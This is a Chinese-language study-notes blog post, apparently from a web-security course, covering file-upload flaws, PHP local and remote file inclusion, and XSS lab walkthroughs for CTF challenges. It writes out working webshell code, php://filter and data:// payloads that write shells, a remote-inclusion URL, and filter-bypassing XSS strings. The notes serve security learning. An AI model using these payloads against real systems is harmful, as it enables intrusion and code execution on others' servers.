第47天:WEB攻防-PHP应用 - my-kon-blog

嘻嘻,学到了,文件上传

开心,值了
day 48
1. Apache HTTPD 换行解析漏洞(CVE-2017-15715)
漏洞条件:
- Apache2.4.0~2.4.29版本
- 需要有文件上传
- 需要有重命名文件的代码实现

apache 2.4.10



2️⃣ 文件成功写入磁盘
磁盘上的真实文件名:
shell.php\n
✔ 文件已存在
3️⃣ Apache 访问时的判断(执行阶段)
当你访问:
GET /upload/shell.php%0a
Apache 在 handler 匹配时:
-
忽略 / 截断结尾控制字符
-
看到的是:
shell.php
✔ 命中 .php
✔ 交给 mod_php
day48
小迪安全v2023学习笔记(四十八讲)------ 持续更新中-CSDN博客
第48天:WEB攻防-PHP应用 - my-kon-blog
048-WEB攻防-PHP应用&文件上传&中间件CVE解析&第三方编辑器&已知CMS漏洞 - 0xMouise - 博客园
那些文件上传sql注入都是未知程序要测试的,要是已知的可以找网上的存在的漏洞,可以找一键利用工具
day49文件上传&存储安全&OSS对象&分站&解析安全&解码还原&目录执行
目录权限
小迪安全v2023学习笔记(四十九讲)------ 持续更新中_小迪安全文档-CSDN博客
049-WEB攻防-文件上传&存储安全&OSS对象&分站&解析安全&解码还原&目录执行 - 0xMouise - 博客园
文件上传&存储安全&OSS对象&分站&解析安全&解码还原&目录执行
文件 - 执行方案&执行权限&解码还原
当一个站点存在文件上传,并且没有过滤,但是上传成功后仍然失败的原因:
执行权限:文件上传后存储目录不给执行权限
解码还原:数据做存储,解析固定(文件后缀名无关),文件上传后利用编码传输解码还原
day50文件包含

050-WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒 - 0xMouise - 博客园
小迪安全v2023学习笔记(五十讲)------ 持续更新中-CSDN博客
050-WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒 - 0xMouise - 博客园


include php代码就会执行,不管是什么文件后缀
PHP 里这两个配置是配套的:
allow_url_fopen:控制fopen()/file_get_contents()等函数能否打开远程 URL 形式的文件 (比如http://xxx.com/file.php);allow_url_include:控制include/require等函数能否包含远程 URL 形式的文件 (依赖allow_url_fopen同时开启)。
比如file://是本地文件协议(不管开关如何,都能用于本地文件包含);而如果allow_url_include开启,还能用http://协议包含远程服务器上的文件 (比如?file=http://恶意服务器/webshell.php)------ 这也是很多漏洞(比如远程文件包含 RFI)的利用前提。
这类伪协议本质是模拟 URL 形式的资源 ,必须allow_url_include=on才能用在include中(同时依赖allow_url_fopen=on):
data://:通过数据 URI 嵌入内容(比如你表格里的?file=data://text/plain,<?php phpinfo();?>)- php://input
日志包含
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log
SESSION包含
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件

1. 核心背景:PHP_SESSION_UPLOAD_PROGRESS 是什么
PHP 自带一个「会话上传进度」功能,当 php.ini 中开启 session.upload_progress.enabled = On 时:
- 在文件上传过程中,PHP 会把上传进度(文件名、进度值等)写入到
$_SESSION中。 - 这个进度的键名,就是你表单里
name="PHP_SESSION_UPLOAD_PROGRESS"对应的value值。 - 也就是说,你可以把
value写成恶意 PHP 代码(比如<?php system('cat /flag');?>),这段代码会被实时写入到 session 文件里。
2. 什么是「文件包含漏洞」
如果服务器端代码存在:
include($_GET['file']);
且没有对 file 参数做严格过滤,那么你就可以让服务器包含任意文件(比如 session 文件、上传的临时文件)。一旦包含了带有恶意 PHP 代码的文件,代码就会被执行。
3. 为什么需要「条件竞争」
这里有个时间差问题:
- 当你上传文件时,
PHP_SESSION_UPLOAD_PROGRESS的值会被写入 session 文件,但上传完成后,session 里的进度信息会被清除,临时上传的文件也会被删除。 - 恶意代码在 session 文件里的存在时间非常短,你必须在代码被写入后、被清除前,让服务器的文件包含漏洞去包含这个 session 文件。
- 这就需要「条件竞争」:用多线程 / 多进程同时发起 "上传请求" 和 "包含请求",和服务器的执行速度赛跑,提高成功概率。
4. 结合你这道题的完整攻击流程
-
构造恶意表单 把隐藏字段的
value改成恶意代码:<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat /flag');?>" /> -
确定 session 文件路径 从你图里的聊天框看到
PHPSESSID:xiaodi,所以 session 文件路径通常是:/tmp/sess_xiaodi或/var/lib/php/sessions/sess_xiaodi -
发起条件竞争
- 用脚本不断上传文件(触发恶意代码写入 session 文件)。
- 同时用脚本不断请求文件包含漏洞(比如
?file=/tmp/sess_xiaodi)。 - 只要某次包含请求刚好在 "恶意代码写入" 和 "session 清除" 之间命中,就能执行代码拿到 flag。


写文件,写webshell,它的检测是在urldecode之前。
题目分析
代码含urldecode($file)(二次URL解码),可绕过过滤,需通过php://filter/write结合编码写入Webshell。
利用方式
方式1:Base64编码写入
- URL编码处理 :将
php://filter/write=convert.base64-decode/resource=123.php进行2次URL编码(避免被过滤)。 - 发送POST数据 :
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg====
说明:aa用于补全Base64位数(Base64需4的倍数长度),解码后为<?php @eval($_POST[a]);?>(Webshell密码为a)。 - 执行命令 :访问
http://xxxx.ctf.show/123.php,POST数据a=system('tac fl0g.php')获取flag。

题目分析
过滤"PHP"及特殊符号,需生成无+和=的Base64编码PHP代码。
利用方式
- Payload :
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
说明:Base64解码后为<?php system('tac *.php');echo 123;?>ad,其中echo 123;?>ad(随便写,直到可以过滤)用于避免生成+和=,*.php匹配所有PHP文件,直接读取flag。

ctfshow-web入门-文件包含(web88、web116、web117)_ctfshow web116-CSDN博客
题目分析
过滤多种编码(http、data、base64、rot13等,不区分大小写),需用convert.iconv过滤器(等同于iconv()函数,转换字符编码)。
核心原理
convert.iconv.UCS-2LE.UCS-2BE:将UCS-2LE编码转换为UCS-2BE编码,两次转换可还原原内容。
例:<?php eval($_POST[a]);?> → 一次转换后为?<hp pvela$(P_SO[T]a;)>? → 二次转换后还原。
利用方式
- Payload :
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php - 发送POST数据 :
contents=?<hp pvela$(P_SO[T]a;)>?
说明:转换后为<?php eval($_POST[a]);?>(Webshell密码为a)。 - 执行命令 :访问
http://xxxx.ctf.show/a.php,POST数据a=system('tac flag.php')获取flag。

php://filter = "不执行 PHP,只对文件内容做转换后再输出"
1️⃣ Base64 编码读取源码
GET /?filename=php://filter/convert.base64-encode/resource=./check.php
含义
-
resource=./check.php:要读的文件 -
convert.base64-encode:先 Base64 编码再输出
6️⃣ iconv 字符集转换
GET /?filename=php://filter/convert.iconv.utf-8.utf-32/resource=./check.php
含义
-
把 UTF-8 → UTF-32
-
每个字符会变成 4 字节
尝试使用其他的 php://filter 文件包含,观察结果变化,发现字符集是突破口
# base64 编码 提示 do not hack!
GET /?filename=php://filter/convert.base64-encode/resource=./check.php HTTP/1.1
# rot13 编码 提示 do not hack!
GET /?filename=php://filter/read=string.rot13/resource=./check.php HTTP/1.1
# 转小写 提示 do not hack!
GET /?filename=php://filter/read=string.tolower/resource=./check.php HTTP/1.1
# 去除 html/php 标签 提示 do not hack!
GET /?filename=php://filter/read=string.strip_tags/resource=./check.php HTTP/1.1
# 将数据转换为 quoted-printable 格式 提示 do not hack!
GET /?filename=php://filter/read=convert.quoted-printable-encode/resource=./check.php HTTP/1.1
# 字符集从 UTF-8 转换到 UTF-32 提示 you have use the right filter , but error usage
GET /?filename=php://filter/convert.iconv.utf-8.utf-32/resource=./check.php
day51文件下载删除

第51天:WEB攻防-前后台功能点 - my-kon-blog

文件编辑,编辑内容的位置如果是用户传的参数,比如下面的filedir,可能改为敏感路径
多观察数据包参数,一般参数有路径就可以思考可不可以改了


五、黑盒分析方法
黑盒分析(无源码情况下)的核心:通过功能点识别 和URL特征匹配,快速定位文件/目录相关漏洞,具体方法如下:
1. 功能点识别
重点关注网站前后台中含以下功能的模块,这些模块是文件/目录漏洞的高发区:
- 文件上传(如"头像上传""附件上传")
- 文件下载(如"文档下载""备份下载")
- 文件删除(如"文件管理""模板删除")
- 文件管理器(如"在线文件编辑""目录查看")
2. URL特征匹配
通过URL中的关键词判断是否存在可控路径/文件参数,常见关键词如下:
| 类型 | 常见关键词(URL路径/参数名) |
|---|---|
| 文件名相关 | download、down、readfile、read、del、dir、path、src、Lang |
| 参数名相关 | file、path、data、filepath、readfile、url、realpath、filename、dirpath |
示例 :若URL含 ?file=xxx、?path=xxx、/download?filename=xxx,则大概率存在文件下载/读取/目录穿越漏洞,可尝试篡改参数值(如替换为 ../etc/passwd、../config.php)验证漏洞。
六、白盒分析方法
白盒分析(有源码情况下)的核心:通过搜索关键函数,定位文件/目录操作逻辑,判断是否存在参数未验证、路径未过滤等问题,常见关键函数如下:
| 操作类型 | 常见关键函数(不同语言) |
|---|---|
| 文件上传 | PHP:move_uploaded_file();Java:transferTo()、write();Python:save()、write() |
| 文件下载 | PHP:readfile()、fread();Java:FileInputStream()、BufferedReader() |
| 文件删除 | PHP:unlink();Java:delete();Python:os.remove()、os.unlink() |
| 目录操作 | PHP:scandir()、opendir();Java:listFiles();Python:os.listdir()、os.scandir() |
| 文件读取 | PHP:file_get_contents()、fgets();Java:read();Python:open()、read() |
分析逻辑 :找到上述函数后,检查函数的参数是否来自用户可控输入(如 $_GET['file']、request.getParameter("path")),若未对参数进行路径过滤(如过滤 ../、限制访问目录),则存在文件/目录漏洞。
xd_day52xss
xss一般需要受害者触发
小迪安全v2023学习笔记(五十一讲)------ 持续更新中_小迪安全笔记 pdf 云盘-CSDN博客
输出用户输入的地方,然后用户输入js代码浏览器就执行
#XSS跨站-分类测试-反射&存储&DOM
xss漏洞通常会出现在哪些地方?
-
数据交互的地方
-
get、post、headers
-
反馈与浏览
-
富文本编辑器
-
各类标签插入和自定义
-
-
数据输出的地方
- 用户资料
- 数据输出
- 评论,留言等
- 关键词、标签、说明
- 文件上传
day53

SVG-XSS
- SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
- 创建SVG格式的图片,并在源代码中加入**
<script>alert(1)</script>xss弹窗代码,当访问打开此文件时候,自动弹出弹窗**


一般配合文件上传,然后一般文件上传的地址是可以访问的,然后发给别人触发
PDF-XSS
- 首先本地得有一个关于PDF的编辑器 什么都可以 我这里是 福昕PDF编辑器
- 点击左上角文件 - 创建 - 空白页- 点击缩略图 - 右键点击属性 - 选选择 页面打开 - 选择动作为运行一段JavaScript脚本 -点击添加脚本
app.alert(1)最后保存到本地为xss.pdf - 打开浏览器访问pdf文件 在之前那个网站上传pdf文件
- 上传成功首会出现直连的url地址 访问就出现了弹窗
3️⃣ SWF / Flash XSS(✔ 文件上传 or 现存文件)
本质
-
Flash 可通过:
-
ExternalInterface.call -
getURL -
navigateToURL调用 JS
-
两种利用方式
-
上传恶意 SWF
-
反编译 站点已有 SWF 再利用
UXSS:Universal Cross-Site Scripting
- UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。
- MICROSOFT EDGE uXSS CVE-2021-34506
Edge浏览器翻译功能导致JS语句被调用执行
Flash - XSS
原理
Flash XSS指的是利用 Adobe Flash(SWF 文件)的特性或漏洞,在用户浏览器中执行跨站脚本(XSS)攻击的方式。它是历史上常见的 Web 安全威胁之一,其核心是通过恶意 Flash 内容(.swf 文件)注入或执行恶意脚本,从而窃取用户信息、劫持会话等。
由于Flash在2020年彻底被Adobe弃用,并且现代浏览器默认禁用flash插件,所以这个漏洞基本是名存实亡了,因此这里就简单理解一下原理即可
uXSS
原理
uXSS即Universal XSS(通用型跨站脚本),是一种利用浏览器或者其插件的漏洞,而非目标网站本身的缺陷,从而突破同源策略限制、实现跨域攻击的高级 XSS 类型。- 现在也是比较少碰到了,参考文章:通用跨站脚本攻击(UXSS) [ Fooying ]
下面几个好像都很少了
xd_day54_xss利用
小迪安全v2023学习笔记(五十四讲)------ 持续更新中_bluelotus xss 笔记-CSDN博客
攻击利用-Cookie盗取
攻击利用-数据提交
攻击利用-网页钓鱼
暂时不想复现,先推进一下进度,都不难理解,ctf好像这方面很少遇到,之前上课复现过cookie的盗取,不过xss平台是用网上的。
xd_day55安全防御
小迪安全v2023学习笔记(五十五讲)------ 持续更新中_小迪xss研究笔记-CSDN博客
CSP机制
HttpOnly机制
限制cookie被获取,但是还是可以结合XSS实现其他攻击啊,比如钓鱼、浏览器框架攻击等待
好像ctf遇到过绕过这个的,
工具推荐
- 讲完了手工
XSS注入,我们这里就推荐一款自动注入的工具------XSStrike,下载地址: https://github.com/s0md3v/XSStrike
黑盒XSS手工分析
- 页面中显示的数据找可控的(有些隐藏的)
- 利用可控地方发送
JS代码去看执行加载情况 - 成功执行即
XSS,不能成功执行就F12看语句输出的地方显示情况(过滤) - 根据显示分析为什么不能执行,尝试绕过(实体化、闭合、关键词过滤等)
xssfiliter
找下xsslab
XssLab-WP | XSS靶场通关 | XSS靶场思路 | XSSlab保姆级教学_xsslab通关-CSDN博客
这个还是得自己打一遍,看文章还是有疑问,看xd就懂了
lab1无过滤

可以看到username参数的值被输出了
lab2输出的内容有实体化,
但是input标签保留了输入的内容,闭合input标签和后面的双引号,中间加js代码
元素那里看不出有没有实体化吧,要在源代码看
-
**页面源代码(服务器原始输出)**这是服务器直接发送给浏览器的原始 HTML 文本,能看到最真实的转义结果。
-
如果服务器做了实体化,源代码里会显示
<(对应<)、>(对应>)。 -
比如你这关的
<h2>标签,在源代码里是:<h2 align="center">没有找到和<script>alert('1')</script>相关的结果.</h2>这里的
<和>就是服务器做的实体编码,这才是最真实的输出。
-
-
元素面板(浏览器渲染后的 DOM) 浏览器会自动把实体编码还原成原始字符,所以在元素面板里看到的
<script>只是浏览器 "翻译" 后的结果,不是服务器实际输出的内容。- 比如你在元素面板里看到
<h2>里的<script>alert('1')</script>,其实是浏览器把<还原成<后的显示效果,不是服务器没转义。
- 比如你在元素面板里看到


浏览器识别标签是<>所以把前面的input的标签闭合,只加>的话后面的,但是我们输入的值是再value的双引号内,所以要把双引号也闭合

后面不需要再闭合也可以触发

lab3
可以发现都实体化了

它把<>实体化了,但是它是input,input有一些事件,所以不用闭合尖括号然后重新构造标签,直接闭合value然后加事件
onmouseover函数在鼠标指针移动到元素上被触发,onmouseover = 'javascript:alert(1)',在鼠标指针移动到元素会弹窗alert(1)。
闭合引号,构造payload为
'onmouseover = 'javascript:alert(1)
第三关闭合value是单引号,
第四关是双引号,还是用事件

第五关
输入'onmouseover = 'javascript:alert(1),把onmouseover改成o_mouseover了,要不就换个事件,要不就闭合换标签。

加个>看看 'onmouseover = 'javascript:alert(1)>

input的value值没有过滤>
可以闭合它
这里用
"/><a href=javascript:alert()>a-alert</a><"

闭合input然后加新a标签,顺手再闭合前面input遗留的">,
闭合前面input遗留的">,这个不闭合也没事,只要a标签是完整的就行


第六关

写了替换关键字,但是只是把小写的替换了
大写绕过,
可以用它没有的标签,就不用大写了吧
第七关

把关键字置空了,双写绕过
第八关
php
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
尖括号也被过滤了的,input标签保留的值的尖括号也被过滤
可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、"(双引号),这里点击添加友情连接就会自动访问,

浏览器可以这样,它访问友情连接的地方没有实体化
绕过过滤的关键思路:字符编码
因为script被替换成scr_ipt,直接输入javascript:alert(1)会变成javascr_ipt:alert(1)(失效),所以我们要用编码替换敏感字符 ,让服务器的str_replace识别不到script,但浏览器能解析回来。
- 重点来了:浏览器解析
<a>标签的href属性时,会先做「HTML 实体解码」------ 把s还原成s,再解析href里的内容; - 还原后
href变成javascript:alert(1),浏览器识别到javascript:协议,点击时就执行里面的 JS 代码。
payload就是把avascript:alert(1)实体化
一、javascript:alert(1) 是啥?
它不是 JS 代码本身,而是一个「URL 协议」。
和下面这些是一个级别的东西:
http: https: ftp: file: javascript:
<script>alert(1)</script> 又是啥?
这是 HTML 标签注入,属于:
HTML 解析阶段 → Script 执行
οnmοuseοver='javascript:alert(1)'
✔ 这是为什么能执行?
因为:
onmouseover="JS代码"
👉 事件属性里,本来就直接执行 JS
所以:
onmouseover="alert(1)"
和
onmouseover="javascript:alert(1)"
效果几乎一样
javascript:alert(1)是URL 伪协议 ,适配 "需要 URL 的位置"(href/src),核心是通过 URL 规则执行 JS;<script>alert("1")</script>是HTML 标签,适配 "HTML 结构层",核心是通过 HTML 解析执行 JS;- 事件属性(
onmouseover/onclick)里只能写纯 JS 代码片段 (alert(1)),不能放<script>标签,加javascript:只是冗余但不影响执行。
第 8 关考的是:
你是否理解「属性 / 事件 / URL 上下文」
而不是只会无脑写 <script>
实体化编码payload
php
javascript:alert(1)

这题是你可以添加一个链接,因为你用了实体化它返回的a标签里面是你输入的内容,你输入www
浏览器会解 HTML 实体,手动echo一个实体化的数据


浏览器会把html实体解析
1. 核心原因:HTML 实体是为了解决 "特殊字符的双重身份"
HTML 里有一批字符(比如
</>/&/")有双重身份:
- 作为「HTML 语法符号」:
</>是标签的分界,&是实体的开头,"是属性值的分界;- 作为「普通文字」:我们也需要在页面上显示这些字符(比如想写 "1 < 2",或显示
<script>这个字符串)。如果没有 HTML 实体,直接写
<p>1 < 2</p>,浏览器会把<当成标签开头,解析出错;必须写成<p>1 < 2</p>,浏览器解析<为<,才能正确显示 "1 < 2"------ 这就是 HTML 实体的核心作用:把有特殊语法含义的字符,转换成 "纯文字" 形式,让浏览器既能识别语法,又能正确显示文字。2. 浏览器解析 HTML 实体的 "强制规则"
HTML 标准明确规定:浏览器在构建 DOM 树之前,必须先完成 "HTML 实体解码",步骤是:
- 读取 HTML 源码,扫描所有以
&开头、;结尾的实体(命名实体:<;数字实体:s);- 把实体转换成对应的字符(
<→<,s→s);- 再根据字符所在的位置(文本节点 / 属性节点),执行后续逻辑。
✅ 关键结论:
- 解析 HTML 实体是浏览器的 "必经步骤",目的是还原出开发者想表达的原始字符;
- 还原后是显示成文字,还是执行成 JS,取决于「字符所在的位置」,而非实体本身。
然后这里传给服务器的就是html实体编码后的值,然后收到的也是,只不过本地浏览器会解析html实体。
这里填www.baidu.com,会被当成相对地址
但是实体化编码后还是可以成功
1. 先纠正核心误区:javascript: 不是 "普通 URL",不遵循相对 / 绝对地址规则
浏览器对 URL 的解析有分层优先级,你可以理解为:
| 解析层级 | 规则 | 适用场景 |
|---|---|---|
| 第一层:协议头识别 | 先检查 URL 是否以xxx:开头(如http:/https:/javascript:) |
所有 URL |
| 第二层:地址拼接 | 如果没有协议头,才按 "相对地址" 拼接当前页面路径 | 仅无协议头的普通 URL |
- 对于
www.baidu.com:没有协议头 ,触发第二层规则,按相对地址拼接成http://192.168.176.146/xss/www.baidu.com; - 对于
javascript:alert(1):有专属协议头javascript:,触发第一层规则 ------ 浏览器直接识别这是 "JS 执行指令",跳过 "地址拼接" 步骤,直接执行后面的alert(1)。
但是这题还可以用unicode编码,为啥
你说的 "Unicode 编码" 其实是HTML Unicode 数字实体 (比如 s/s)
第九关

本意是要求要包含http://这个字符串 ,但是甚至都不是开头,可以包含再注释里绕过
第十关


用hidden藏起来了,input的那个没有实体编码有xss,和之前一样闭
payload
php
?t_sort=" onfocus=javascript:alert() type="text

后面的关卡是一些ua头cookie的xss,
